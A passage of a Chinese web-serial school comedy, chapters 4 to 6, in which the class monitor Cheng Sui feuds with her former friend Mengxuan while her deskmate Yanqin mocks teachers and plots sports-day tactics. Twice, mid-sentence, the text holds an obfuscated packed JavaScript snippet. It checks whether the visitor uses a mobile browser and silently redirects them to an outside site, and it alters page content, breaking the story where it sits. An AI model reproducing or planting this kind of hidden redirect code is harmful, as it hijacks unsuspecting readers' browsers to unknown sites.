到站了，就该下车。 --- 晚上回家，手机震动。 是梦萱发来的消息： 「你以为你很了不起？装什么清高？」 我没回。 她又发：「以后别跟我说话，看到你就恶心。」 我忍了又忍，这颠婆还特么真把我当柔弱小白兔了？ 回复：「我可去你的吧你个死颠婆，脑子不合适就扔了，可千万别捐，影响别人智商。」 然后拉黑删除一条龙。 关掉手机，我看着窗外。夜色渐深，万家灯火。 明天是周末。 周一，会是新的开始。 4. 第 4 章 周一早上，我走进教室时，梦萱的桌子已经不在了。 不，不是不在了--她的东西还在，但她本人不在，桌子被拉到了最后一排，桌面上用口红写着几个大字： 「此座已疯，闲人勿近」 旁边还画了个骷髅头。 我瞥了一眼，径直走到自己的座位。 旁边原本属于那个颠婆的位置，现在坐着洐沁。她低着头，正用铅笔在课本空白处画画，画的是Q版政治老师——地中海画得格外传神，还在反光。 “早。”我放下书包。 “早。”洐沁头也不抬，“李老师让你来了去她办公室一趟，关于文化墙的事。” “好。” “另外，”她终于抬起头，推了推不存在的眼镜，“梦萱今天请假了，说是‘精神受创需要疗养’。” 我：“……”她受创？ “她爸给李老师打电话，说女儿因为班级矛盾情绪崩溃，要求严惩‘霸凌者’。”林晓语气平淡，“李老师让你去，估计就是说这个。” 我深吸一口气：“知道了。” “需要瓜子吗？”洐沁从书包侧袋掏出一小包，“谈判前嗑点，缓解紧张。” “……不了，谢谢。” ber怎么会有人随身带瓜子…… --- 教师办公室里，李老师脸色很不好看。 “程穗，坐。”她指指对面的椅子，“文化墙的事……梦萱的父亲反应很大。” “老师，墙已经清理干净了。” “不是墙的问题。”李老师叹气，“梦萱说你在全班面前辱骂她，还威胁要打她，导致她心理阴影，不敢来上学。” 我愣住了。 “她说的是真的吗？”李老师看着我。 “我没有骂她，更没有威胁她。”我说，“是她毁了墙，我让她道歉，她拒绝了。我说以后不再是朋友，仅此而已。” 李老师揉着太阳穴：“我知道梦萱同学……性格比较特别。但她是单亲家庭，父亲工作忙，疏于管教，我们老师也尽量多包容。你是班长，更应该……” “老师，”我打断她，“包容不等于纵容。她毁坏班级公物，诬陷同学，这些行为不应该因为家庭原因就被原谅。” 李老师沉默了。 “我会写一份情况说明。”我说，“包括文化墙被毁的全过程，以及当时在场的同学都可以作证。” “程穗……” “如果因为她是单亲家庭就特权处理，那对其他同学公平吗？”我站起来，“老师，可怜之人必有可恨之处，没什么事的话我先回去了，早读要开始了。” 走出办公室时，我的手在抖。 不是害怕，是生气。 原来颠婆的招数不止当面发疯，还有背后捅刀。 回到教室，洐沁看了我一眼，从桌肚里递过来一张纸条： 「战况如何？」 我写上：「她告黑状搞背刺，说我霸凌她。」 洐沁接过纸条，写了几笔递回来： 「经典颠婆操作。需不需要我发动‘五班情报网’？」 「什么情报网？」 洐沁指了指前后左右——几个五班跟过来的同学正偷偷朝我们这边看。她比了个手势，其中一个女生点点头，拿出手机开始打字。 五分钟后，我的手机震动。 洐沁拉了个微信群，群名：「穗萱大战观察组（五班分舵）」 里面已经有十几个人。 「五班·张伟」：最新消息，梦萱她爸给校长也打电话了，说要讨说法。 「五班·李娜」：她爸是那个开家具厂的吧？好像给学校捐过钱。 「五班·王鑫」：所以这事会压下去？ 洐沁打字：「继续观察。」 然后她切出群聊，对我说：“现在你有后援团了。” 我哭笑不得：“这有用吗？” “信息就是武器。”洐沁认真地说，“知道对手在干什么，才能见招拆招。” 早读课，李老师进来宣布：“文化墙的事学校会调查，在结果出来前，请同学们不要私下议论。” 底下窃窃私语。 梦萱虽然人不在，但她的传说已经传遍了全班。 “鼻毛王”王浩偷偷回头看了我一眼，眼神复杂。 “显微镜”陈磊递过来一张纸条：「我相信你。」 刘晓雯干脆直接写在了作业本上：「梦萱就是故意的，我们都可以作证。」 我心里一暖。 原来，不是所有人都跟那个死颠婆和她的腿毛一样傻逼的。 --- 第一节课是政治，鲁平老师的课。 他走进教室时，头顶的地中海在日光灯下反着光，像一面小型探照灯。 “同学们好。”破锣嗓子响起，“今天讲《经济生活》第三单元……” 他讲课的方式很催眠：照着ppt念，声音忽大忽小，语速很慢。不到十分钟，已经趴倒一片。 洐沁在课本上画速写——鲁平的秃顶被画成了反光镜，还加了光线折射的箭头。 我小声问：“你画画这么好，怎么不去美术班？” “懒得考。”洐沁说，“而且美术班颠婆更多，艺术生疯起来更抽象。” 她翻到前一页，给我看她画的“高一教师群像”： ·李老师被画成操心老妈子，头顶飘着“怎么办怎么办”的对话框。 ·数学赵老师是喷火龙，鼻孔冒烟。 ·英语老师是优雅的猫，但尾巴翘到天上。 ·鲁平……是一只秃鹫，真的秃鹫，站在树枝上，眼神呆滞。 “你这个……”我憋笑，“被看到会死的。” “所以只给你看。”洐沁合上课本，“对了，你知道鲁平的外号吗？” “秃顶？” “官方叫法是‘地中海’。”洐沁说，“但五班给他起了个更传神的——‘反光镜’。他站讲台上，阳光一照，能晃瞎第一排。” 我忍不住笑了。 “还有我们班主任，聪明蛋老师。”洐沁压低声音，“他说话总带‘啊～’，五班给他计数，最高纪录一节课‘啊’了103次。” “你们班……好闲。” “观察是人类的天性。”洐沁一本正经，“尤其是观察奇葩。” 下课铃响，鲁平夹着课本走了。洐沁立刻掏出一个小本子，在上面写字。 “这是什么？”我问。 “《抽象观察笔记》。”她把本子推过来。 我翻开： 【9月-10月观察记录】 观察对象1：梦萱（高一三班） ·特征：语言系统重度污染，攻击性强，表演型人格 ·经典语录：“跟我混”“你是我的人”“圣母婊” ·行为模式：先挑衅，等反击，再装受害者 ·评级：SS级颠婆（危险，建议远离） 观察对象2：鲁平（高一五班政治老师） ·特征：秃顶反光，嗓音催睡，存在感低 ·经典场面：讲课到一半忘记讲哪了，翻书翻三分钟 ·行为模式：照本宣科，回避冲突，疑似有隐藏属性（待观察） ·评级：B级奇葩（无害，可当背景板） 观察对象3：张聪明（班主任，绰号聪明蛋，油蛆） ·特征：说话必“啊～”，推责高手，自我感觉良好 ·经典语录：“这个啊～不归我管啊～”“同学们要自觉啊～” ·行为模式：甩锅，和稀泥，在领导面前装积极 ·评级：A级油腻（烦人，但可应对） 后面还有十几条，包括各科老师、年级主任、甚至食堂阿姨。 “你记这个干什么？”我问。 “研究。”洐沁说，“我在写一篇论文，叫《当代高中生态位分析：从正常人到颠婆的演变路径》。” “……你爸妈是做什么的？” “我爸是心理学教授，我妈是社会学家。”洐沁说，“所以我有病，遗传的。” 她说这话时面无表情，但我看出她眼里有一丝笑意。 看来也是个不大正常的，“那你分析出什么了？”我问。 “初步结论：这个学校，正常人占比不足30%。”洐沁指着本子，“剩下70%，轻度奇葩占40%，中度颠婆占25%，重度神经病占5%。” “梦萱属于？” “重度神经病，但有向艺术家人格转化的可能。”洐沁说，“她毁你墙的那个大便，画得很有表现力，属于抽象派。” 我：“……”6。 “不过你放心，”洐沁合上本子，“我已经把你归类为‘S级正常人’——在癫狂环境中保持理智，且具备反击能力的稀有物种。” “谢谢夸奖？” “不客气。”她从书包里又掏出一包瓜子，“要开发我们的沟通系统吗？” “什么系统？” “脑内弹幕交流系统。”洐沁说，“比如现在，政治课刚下，你看到鲁平走出去，心里在想什么？” 我想了想：“终于下课了。” “太普通。”洐沁摇头，“你应该想：‘反光镜走了，教室暗了三度’。” “……有必要吗？” “有。”洐沁认真地说，“在这个抽象的环境里，你需要一套抽象的防御机制。把一切都当成喜剧看，你就不会生气，不会难过，只会觉得——典，太典了。” 她示范： “看到赵老师发脾气，别想‘好可怕’，要想：‘喷火龙今日喷火量超标，建议消防队待命’。” “看到梦萱发疯，别想‘好烦’，要想：‘颠婆今日表演《霸道校花爱上我之撕逼篇》，可提名金马奖’。” “看到聪明蛋推责，别想‘好油’，要想：‘甩锅侠今日完成三连甩，刷新个人纪录’。” 我听着，突然笑出声。 “对，就是这样。”洐沁也笑了，“把生活当成情景喜剧，你就是那个坐在屏幕前嗑瓜子的观众。” 终于知道了这个人随身带瓜子的原因了…… 我们正说着，教室门口传来骚动。 梦萱来了。 她穿着病号服——真的病号服， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064638|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝白条纹，松松垮垮。脸上没化妆，额头痘痘更明显了，头发胡乱扎着。 她扶着门框，虚弱地说：“老师……我……我来上课了。” 全班寂静。 李老师赶紧走过去：“梦萱同学，你身体还没好，怎么来了？” “我不能……耽误学习……”梦萱咳嗽两声，“虽然程穗同学那样对我……但我还是要坚强……” 她看向我，眼神哀怨。 洐沁在我耳边小声说：“《林黛玉倒拔垂杨柳之带病上学篇》，演技7分，服装道具加分，总分8.5。” 我憋住笑。 “你先回座位休息。”李老师说。 梦萱慢慢走到座位，坐下前还踉跄了一下，被同桌扶住。 “谢谢……”她气若游丝，“这个世界……还是好人多啊……” 洐沁在本子上写：「扣1分，台词过油。」 一整节课，梦萱都保持着这种“破碎感”——手捂胸口，眼神放空，偶尔咳嗽，但声音控制得刚好能让老师听见。 下课铃响，她立刻“晕”在桌上。 几个女生围过去：“梦萱你没事吧？”“要不要去医务室？” 梦萱缓缓抬头，泪眼朦胧：“我没事……就是心好痛……被人冤枉的感觉……你们不懂……” “我们懂！”一个女生说，“程穗也太过分了！” “别这么说……”梦萱摇头，“她可能……只是一时冲动……” 我在座位上看着这出戏，突然不生气了。 因为洐沁在旁边实时解说： “现在进入受害者独白环节，预计持续三分钟，核心诉求是博取同情、孤立目标、建立自己的悲情女主形象。” “你看她眼泪，”洐沁继续，“左眼先流，右眼延迟0.5秒，明显是控制的。但演技有进步，比上次自然。” 我彻底忍不住，低头闷笑。 “这就对了。”洐沁递过瓜子，“记住，你是观众，不是演员。看戏，嗑瓜子，别入戏。” 我们真的磕起了瓜子。 咔嚓，咔嚓。 在一片“梦萱你好可怜”“程穗怎么这样”的声音中，我们磕瓜子的声音格外清晰。 梦萱终于注意到我们，眼神扫过来，带着杀气。 洐沁举起瓜子袋，用口型说：“要嗑吗？” 梦萱的表情扭曲了一瞬，然后“虚弱”地别过头：“我……我想一个人静静……” 午休时，我和洐沁在操场边继续嗑瓜子。 “她这招能用多久？”我问。 “最多一周。”洐沁分析，“装病需要体力，而且久了会腻。我预测她周五前就会恢复颠婆本色。” “那我们怎么办？” “两点原则。”洐沁竖起手指，“第一，不主动挑衅；第二，她挑衅时，用抽象话术反击。” “比如？” “比如她说‘你冤枉我’，你就说‘你的表演很有张力，建议报考北电’。” “她说‘我讨厌你’，你就说‘你的厌恶情绪表达得很到位，眼神处理尤其精彩’。” “总之，”洐沁总结，“把她的一切行为都解读为‘艺术创作’，你就立于不败之地。” 我看着她，突然觉得，有这个同桌，高中生活也许没那么难熬。 “洐沁，”我说，“谢谢你。” “不客气。”她推推不存在的眼镜，“我也是在帮自己——如果你被颠婆搞崩溃了，我就没正常人同桌了。” 我们相视而笑。 远处，梦萱被一群女生簇拥着走向小卖部，还在“虚弱”地扶着额头。 阳光很好，操场上有男生在打球，女生在散步。 一切都看起来那么正常。 除了我们班。 除了那个穿着病号服、企图用演技征服世界的颠婆。 但没关系。 我有瓜子了。 也有会递瓜子的同桌了。 --- 下午放学，梦萱在走廊堵住我。 这次她不装了，恢复本色：“程穗，你以为赢了？” “我没在比赛。”我说。 “你等着。”她冷笑，“我有的是办法让你在这个班待不下去。” “比如？” “比如……”她凑近，“我知道你妈在银行工作，我爸跟行长很熟。你说，如果我让我爸说点什么……” 我看着她，突然想起洐沁的教导，骂人的话硬生生止住。 于是我说：“你的威胁很有层次感，从校园延伸到家庭，剧情推进合理。但反派过早暴露底牌，是编剧大忌。” 梦萱愣住。 “建议修改剧本。”我继续说，“比如先制造几个小矛盾铺垫，再慢慢升级。现在的节奏太快，观众会出戏。” 说完，我绕过她走了。 走了几步，回头补充：“对了，病号服明天别穿了，出汗有味道，影响人物形象。” 梦萱站在原地，脸一阵红一阵白。 远处，洐沁靠在墙边，冲我比了个大拇指。 脑内弹幕系统，第一次实战，成功。 5. 第 5 章 高一结束的那个暑假，我做了三件事： 1. 把政治前几册课本卖了废纸——反正高二不学文。 2. 买了十包不同口味的瓜子，准备和洐沁嗑完高二。 3. 祈祷分班时离梦萱越远越好。 八月末，分班名单贴在校门口公告栏。 我挤进人群，从理科一班开始找自己的名字。 一班没有。 二班没有。 三班……看到了。 「高一三班程穗 →高二五班」 我继续往下看，找梦萱。 她还在三班——文科班。太好了，终于不在一个班了。 再找洐沁。 「高一三班洐沁 →高二五班」 很好，同桌保住了。 我松了口气，正准备走，突然看到另一个熟悉的名字： 「高一五班鲁平 →高二五班政治教师」 「高一五班张聪明 →高二五班班主任」 我：“……操” 命运的齿轮开始转动，并且发出了生锈的“嘎吱”声。 --- 开学前一天，洐沁在微信上给我发了一份文件。 文件名：《高二五班生存指南v1.0》 我点开，里面是密密麻麻的条目： 【第一章：班级生态】 1. 教师阵营： ·鲁平（政治）：绰号“反光镜”。课堂催眠指数★★★★★。隐藏属性：待发掘。 ·张聪明（班主任/数学）：绰号“啊老师”。甩锅能力★★★★☆。口头禅：“这个啊～” ·其他老师相对正常，可放心食用。 2. 学生阵营： ·原五班成员占60%，已适应抽象环境。 ·外班转入占40%，需1-2周适应期。 ·已知颠婆数量：0（梦萱在三班，安全）。 ·已知奇葩数量：待观察。 【第二章：生存技巧】 1. 上鲁平的课建议自备咖啡，或练习“睁眼睡觉”技能。 2. 张聪明布置任务时，务必索要书面要求，以防日后甩锅。 3. 班级后门常开，紧急情况可快速撤离。 4. 本班位于教学楼最西侧，距离梦萱所在的三班（最东侧）直线距离150米，步行需3分钟。安全。 【第三章：班长特别提示】 （因你大概率继续担任班长） 1. 张聪明会把你当免费劳动力，学会合理拒绝。 2. 鲁平可能记不住你的名字，会叫你“那个班长同学”。 3. 班级事务遵循“多报备、少做主”原则，避免背锅。 我看完，回复：「你写论文呢？」 洐沁：「预习是成功的一半。」 --- 开学第一天，我提前半小时到教室。 高二五班在四楼，窗户朝西，下午会被晒成烤箱。教室里已经来了十几个人，大多是原五班的，看到我，有几个点了点头。 洐沁的座位在第三排靠窗——她特意占了两个连座。 “早。”她递过来一包新瓜子，“焦糖味，尝尝。” 我坐下，打量教室。 和原来的三班差不多，只是墙上多了几张褪色的奖状：“卫生流动红旗（上学期）”“广播操比赛三等奖”。 后黑板上用彩色粉笔写着几个大字： 「欢迎来到抽象主义大本营」 下面还有一行小字：「——原五班全体敬上」 我看向洐沁。 “不是我写的。”她耸肩，“但我觉得很贴切。” 同学们陆续进来。我注意到几个熟面孔：陈磊（“显微镜”）也分到了五班，看到我，腼腆地笑了笑。刘晓雯（“黄桃罐头”）去了文科班，不在。 八点整，张聪明老师走进教室。 他今天穿了件粉色POLO衫，肚子把衣服撑得紧绷，头发抹了发胶，油光发亮。 “同学们好啊～”他站上讲台，双手撑在讲桌上，“我是你们未来两年的班主任，张聪明。你们可以叫我张老师，或者～聪明老师～” 底下有原五班的学生憋笑。 “咱们班啊～是个优秀的集体～”张聪明开始他的经典演讲，“去年啊～我们班在各项评比中都取得了不错的成绩啊～当然～也有不足啊～希望新同学们尽快融入啊～” 他说话时，右手总在空中画圈，像在搅拌看不见的浆糊。 “班长是谁啊～”他看向座位表，“程穗同学～站起来认识一下啊～” 我站起来。 “好～程穗同学啊～以后班级事务就麻烦你了啊～”张聪明笑眯眯的，“我这个人啊～比较民主～喜欢放权给学生啊～你们有事多跟班长沟通啊～” 翻译：以后破事都找你，别烦我。 洐沁在笔记本上写：「甩锅预警。」 第一节课就是政治，鲁平。 他走进教室时，头顶的地中海在晨光中反射出柔和的光晕——如果忽略那是秃顶的话，其实挺有禅意。 “同学们好。”破锣嗓子响起，“我是鲁平，教政治。” 他在黑板上写下自己的名字，粉笔字歪歪扭扭。 “高二政治主要学《哲学与文化》。”他翻开课本，“哲学是什么？哲学就是……嗯……关于世界的根本看法。” 他停顿，思考，眼睛望向天花板。 教室里安静了三十秒。 “比如，”他终于继续，“我们是谁？我们从哪里来？要到哪里去？” 又停顿。 洐沁小声说：“他在等掌声吗？” “这些问题啊，”鲁平自己接话，“哲学家们思考了几千年。我们今天……就从第一课开始。” 他开始照本宣科。 十分钟后，教室里趴倒一半。 鲁平似乎习惯了，继续念，声音平稳得像心电图上的直线。 我努力保持清醒，在笔记本上画圈。画着画着，画出了一个光头小人，正在打坐。 洐沁瞥见，在旁边加了对话框：「我是谁？我在哪？我要到哪里去？」 我们相视一笑。 下课铃响，鲁平合上课本：“今天就到这里。作业是……嗯……预习下一课。” 他夹着课本走了，脚步轻飘飘的，像灵魂出窍。 “怎么样？”洐沁问。 “比传说中还催眠。”我揉眼睛。 “这才第一节。”洐沁说，“等期中考试前，他会进入‘狂暴念经’模式，语速提升50%，催眠指数翻倍。” 我打了个寒颤。 --- 课间，我去走廊尽头的饮水机接水。 路过三班门口时，我下意识加快了脚步。 但还是听到了那个熟悉的声音： “看什么看？没见过美女？” 梦萱的声音，中气十足，看来暑假休养得很好。 我低头快走，但已经晚了。 “哟，这不是程圣母吗？”梦萱从三班教室走出来，身后跟着几个女生——新的跟班。 她今天化了浓妆，眼线飞到太阳穴，穿着改短的校服裙，露一截大腿。 “听说你在五班？”她堵住我的路，“那个秃顶老师和油腻班主任的班？恭喜啊，集齐了两大奇葩。” “让让。”我说。 “急什么？”梦萱歪头，“咱们老朋友，叙叙旧嘛。对了，你那个哑巴同桌呢？叫什么来着……相亲？” “她叫洐沁……” “管她叫什么。”梦萱摆手，“你告诉她，离我远点，否则我连她一起收拾。” “你没资格管她。” “我没资格？”梦萱笑了，“在这个学校，我想管谁就管谁。你以为分班了我就奈何不了你？天真。” 她凑近，压低声音：“五班有我的人。你的一举一动，我都知道。” 说完，她带着跟班们大笑着走了。 我站在原地，握紧了水杯。 回到教室，我把这事告诉洐沁。 “她有人？”洐沁推了推眼镜，“我来分析一下。” 她在笔记本上画关系图： 「梦萱（三班）」 ↓ 「可能的眼线」 1. 原三班分到五班的同学（3人） 2. 通过社交网络发展的下线 3. 单纯讨厌你的人 “范围不大。”洐沁圈出几个名字，“交给我，三天内挖出来。” “你怎么挖？” “五班情报网，启动。”洐沁拿起手机，在群里发消息。 五分钟后，情报回来了： 「五班·王鑫」：我问了，梦萱暑假在新生群里活跃，加了一堆人，可能发展了几个“粉丝”。 「五班·李娜」：咱们班赵倩跟梦萱是初中同学，关系一般，但不排除被收买。 「五班·张伟」：还有刘浩，他暗恋过梦萱，虽然被骂得很惨。 洐沁总结：“嫌疑人三个：赵倩、刘浩，以及未知的‘粉丝’。我会盯着。” “谢谢。”我说。 “不谢。”洐沁递过瓜子，“这是战争，情报战。” --- 下午班会，张聪明宣布了一件大事： “同学们啊～学校要举办秋季运动会啊～咱们班要积极参与啊～” 底下哀嚎一片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064639|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“项目报名表啊～班长负责统计啊～”张聪明看向我，“程穗啊～你组织一下啊～尽量让每个同学都参加啊～” “老师，”我说，“有些同学可能不适合运动……” “没有不适合啊～”张聪明摆手，“重在参与啊～这是班级荣誉啊～” 翻译：我不想管，你搞定。 洐沁在本子上写：「经典甩锅场景，记录。」 下课后，我把报名表贴在墙上，果然无人问津。 男生们聚在一起打游戏，女生们聊八卦，没人看报名表一眼。 “怎么办？”我问洐沁。 “用激将法。”洐沁说，“你在表上写：三班已报满15个项目，五班目前0。” 我照做。 十分钟后，有男生过来看：“三班报满了？他们班那么猛？” “听说梦萱报了女子百米。”我随口编。 “那个颠婆？”男生皱眉，“那不能输给她。我报男子四百米。” “我也报！” “算我一个！” 激将法有效——尤其是用梦萱当诱饵。 一下午，报名表填了七成。只剩几个最难的项目：女子三千米，男子五千米，还有男女混合接力。 “剩下的怎么办？”我问。 洐沁想了想，站起来走到讲台上： “同学们，注意一下。” 全班安静。 “运动会奖牌榜，第一名班级有奖金，五百元。”洐沁说，“张老师说了，如果咱们班拿第一，奖金全部用作班级活动经费——意思是，我们可以去吃火锅。” “真的假的？”有人问。 “张老师亲口说的。”洐沁面不改色。 其实张聪明根本没说过。 但效果显著。 “那我报女子三千米！”一个女生举手。 “我报五千米！” “接力算我一个！” 报名表满了。 洐沁回到座位，我小声问：“张老师没说吧？” “没说。”洐沁淡定地嗑瓜子，“但等他发现时，我们已经拿第一了，他好意思反悔？” “如果没拿第一呢？” “那就说老师记错了。”洐沁说，“反正他经常‘啊～我可能记错了啊～’” 我服了。 --- 放学后，我和洐沁最后离开教室。 走到楼梯口，听到楼下传来吵闹声。 是梦萱，还有几个男生。 “……让你报你不报，不给面子是吧？”梦萱的声音。 “我真的跑不动……”一个男生小声说。 “跑不动就练！”梦萱说，“否则我让你在年级里混不下去。” 我们在楼梯拐角停下，偷看。 梦萱面前站着三个男生，都低着头。她正指着其中一个的鼻子骂： “你，明天开始每天跑操场五圈，我监督。要是偷懒……” 她没说完，但威胁意味十足。 “她在强迫三班的人报项目。”洐沁小声说。 “为了赢？” “为了证明她比我们强。”洐沁说，“尤其是比你强。” 我们悄悄绕到另一侧楼梯下楼。 走出教学楼，夕阳把天空染成橘红色。 “我突然觉得，”我说，“梦萱可能……很孤独。” “孤独的人多了。”洐沁说，“不是每个人都选择当颠婆。” “但她为什么……” “因为这是她唯一会的方式。”洐沁看着远处被跟班簇拥的梦萱，“用暴力获取关注，用威胁维持关系。她不懂怎么正常交朋友，因为从来没人教过她。” 我们沉默了一会儿。 “我们要赢吗？”我问。 “要。”洐沁说，“而且要赢得漂亮。不是为了打击她，是为了告诉她：正常的方式，也能赢。” 她顿了顿，补充：“而且火锅真的很好吃。” 我笑了。 是啊，高二开始了。 有秃顶老师，有油腻班主任，有阴魂不散的颠婆。 但也有会递瓜子的同桌，有可以一起奋斗的同学，有值得期待的火锅。 命运的齿轮虽然生锈，但至少还在转动。 而且，往有趣的方向转动。 --- 晚上，我收到一条陌生号码的短信： 「运动会等着，我会让你知道，谁才是这个年级的王。」 我没回，直接拉黑。 我知道，是梦萱那个亖颠婆。 战争，从今天起，正式开始了。 不过这次，我有战友，有战术，还有瓜子。 颠婆，放马过来吧！！！ 6. 第 6 章 鲁平的课安排在每周二、四上午第一节。 据洐沁统计，这是全校“课堂睡眠率”最高的时段，五班曾创下纪录：45分钟的政治课，最多时有38人同时趴桌（全班共45人），睡眠率84.4%。 “剩下的7人，”洐沁在观察笔记中写道，“包括程穗（班长职责强制清醒）、我（观察者）、两个偷偷玩手机的、一个补作业的、一个吃早饭的，以及鲁平本人——他偶尔也会走神。” 周二早晨，我提前十分钟到教室时，已经有人在做“课前准备”。 前排的赵倩从书包里掏出眼罩、颈枕、耳塞，整齐摆放在桌上。后座的刘浩则拿出一罐超强薄荷糖，对我说：“班长，等会儿我要是睡了，你就弹我脑门，往死里弹。” 洐沁坐在旁边，正给她的速写本分类：“这是鲁平专辑，这是运动会特辑，这是梦萱迷惑行为大赏……” “你还给梦萱开专辑？” “素材太多了。”洐沁翻开本子，里面贴满了便签，“你看这张，她昨天强迫三班男生穿沙袋跑步，结果那男生摔了个狗吃屎，她站在旁边大笑——典型的反社会人格倾向。” 我皱了皱眉。 “放心，我没传播。”洐沁合上本子，“这只是学术观察。” 上课铃响，鲁平准时出现在门口。 他今天穿了件灰扑扑的夹克，腋下夹着政治课本，另一只手拎着个黑色保温杯。走到讲台前，他先把保温杯放下，然后从口袋里掏出一块手帕，擦了擦额头——虽然那里没汗。 “同学们好。”破锣嗓子开启。 “老——师——好——”全班拖长音，像给死人哭丧。 “今天讲《实践与认识》。”鲁平翻开书，直接开念，“实践是认识的基础，实践决定认识，认识反作用于实践……” 声音平稳，语调单一，像老式收音机里播放的佛经。 五分钟后，第一个趴下的出现了——赵倩戴上眼罩，熟练地调整颈枕角度。 接着是第二个、第三个…… 洐沁在本子上画速写：鲁平的秃顶被画成一个发光灯泡，光线呈扇形扩散，照到的学生全都闭眼睡去。 她小声解说：“这是他的技能‘佛光普照’，效果：群体催眠。” 我努力瞪大眼睛，盯着课本上的字。那些字开始跳舞：“实践……认识……实践……认识……” 不行，不能睡。 我掐自己大腿。 就在这时，意外发生了。 靠窗的座位突然传来“砰”一声巨响，然后是女生的尖叫。 全班惊醒，包括鲁平。 只见赵倩连人带椅摔在地上，眼罩歪到一边，颈枕滚到讲台边——她睡得太熟，身体失衡摔倒了。 教室里死寂三秒。 然后爆发出压抑的笑声。 鲁平放下课本，走到赵倩身边，蹲下：“同学，你没事吧？” 他的声音居然有点……温柔？ 赵倩狼狈地爬起来，脸涨得通红：“没、没事……” “以后上课别戴眼罩了。”鲁平说，“要睡就趴着睡，安全。” 全班：“？？？” 这是什么发言？ 鲁平帮她扶起椅子，捡起颈枕递还给她，然后回到讲台，继续说：“我们讲到哪了？哦，实践是检验真理的唯一标准……” 仿佛刚才什么都没发生。 洐沁在本子上飞快记录：「新发现：鲁平对课堂睡觉行为持默许甚至纵容态度。可能原因：1.自我认知清晰（知道课无聊）；2.佛系心态；3.隐藏的M属性（享受被忽视）？」 后半节课，再没人敢戴眼罩，但趴桌率回升到70%。 下课铃响，鲁平合上课本：“作业是课后习题1-5题，周五交。” 他拎起保温杯要走，突然想起什么，回头说：“对了，下周有随堂测验，占期末成绩10%。” 全班瞬间清醒。 “老师！怎么突然要测验？” “没提前说啊！” 鲁平顿了顿，说：“教务处要求的。” 说完快步离开，留下哀鸿遍野。 洐沁点评：“经典甩锅句式，‘上面要求的’，虽然他可能根本没甩——也许真是教务处要求的。” “那怎么办？”我问，“他的课我一句没听进去。” “我有录音。”洐沁从桌肚里掏出录音笔，“每节课都录，回家二倍速听，十分钟搞定。” “……” “这叫生存智慧。” --- 下午自习课，洐沁开始实施她的“运动会作战计划”。 她在黑板上画了张表格： 【五班运动会战略部署】 目标：总分第一（为了火锅） 策略：田忌赛马+心理战 “田忌赛马我懂，”体育委员王鑫举手，“但心理战是什么？” 洐沁推了推不存在的眼镜：“就是干扰对手，特别是三班。” 她翻开另一个本子：“根据情报，三班主攻项目是短跑和跳远，因为他们班有几个体育生。我们班优势在中长跑和团体项目。所以——” 她在表格上标注： 1. 短跑项目：派替补参加，保存主力体力。 2. 中长跑：全力争金。 3. 团体项目（接力、拔河）：重点训练。 “那心理战呢？”有人问。 洐沁笑了：“这个交给我和班长。” 放学后，我和洐沁去了操场。 三班果然在训练。梦萱穿着紧身运动服——校服被她改成了露脐装，腰间系着外套——正拿着秒表，对几个跑步的男生大吼： “快点！没吃饭吗！你看看人家五班的，都没偷懒！” 实际上五班还没开始训练。 我们躲在看台后面观察。 “她在用对比激励法。”洐沁分析，“但方式错误。高压训练短期有效，长期会引发逆反心理。” 果然，一个男生跑完后瘫倒在地，梦萱走过去踢他小腿：“起来！才跑五圈就装死？” 男生没动。 “废物！”梦萱转身对其他人说，“看到没？不努力就是这种下场！” 那几个男生脸色都不好看。 “机会来了。”洐沁说，“走，去‘慰问’一下。” 我们走过去时，梦萱正对着一个女生发火：“你跳远姿势像□□！重跳！” “梦萱同学，”洐沁开口，“训练呢？” 梦萱转身，看到我们，冷笑：“哟，间谍来了？” “我们来观摩学习。”洐沁面不改色，“你们练得真刻苦，不像我们班，还在讨论火锅吃什么。” 梦萱眯起眼：“火锅？” “对啊，张老师说如果我们班拿第一，就用奖金请大家吃火锅。”洐沁故作惊讶，“你们班没有吗？啊，可能三班班主任没想到这点。” 梦萱的表情变了。 她身后那几个学生互相交换眼神。 “奖金才五百，吃顿火锅就没了，没意思。”梦萱嘴硬。 “但那是荣誉啊。”洐沁说，“而且我们班长说了，如果拿了第一，她个人再加五百，去吃海鲜自助。” 我：“？？？”我什么时候说过？ 洐沁悄悄掐我胳膊。 “哦，对了。”洐沁继续，“听说短跑项目竞争激烈，我们班打算放弃，主攻中长跑。你们班体育生多，短跑金牌肯定稳拿了。” 这是假情报——我们班明明有短跑高手。 但梦萱信了。 她扬起下巴：“算你们有自知之明。” “那我们不打扰了。”洐沁拉着我离开，“加油哦，虽然你们班主任不请客，但重在参与嘛。” 走出操场，我小声问：“你为什么要给她假情报？” “让她把训练重点放在短跑上，放松中长跑。”洐沁说，“等比赛时发现我们短跑也有人，他们已经来不及调整了。” “那海鲜自助……” “赢了再说。”洐沁淡定地嗑瓜子，“输了就当没说过，反正我只说‘班长说了’，又没说你真的说了。” 我服了。 这人心眼子多得像个筛子。 --- 周四的政治课，鲁平带来了一个“惊喜”。 他走进教室时，手里除了保温杯，还多了一个——瑜伽垫？ 全班愣住了。 鲁平把瑜伽垫放在讲台边，然后开始讲课：“今天我们讲《矛盾分析法》。矛盾是事物发展的根本动力，矛盾具有普遍性和特殊性……” 讲了十分钟，他突然停下，走到瑜伽垫前，开始……拉伸？ 他双手向上，慢慢弯腰，手指尽量触地——触不到，离地还有二十公分。 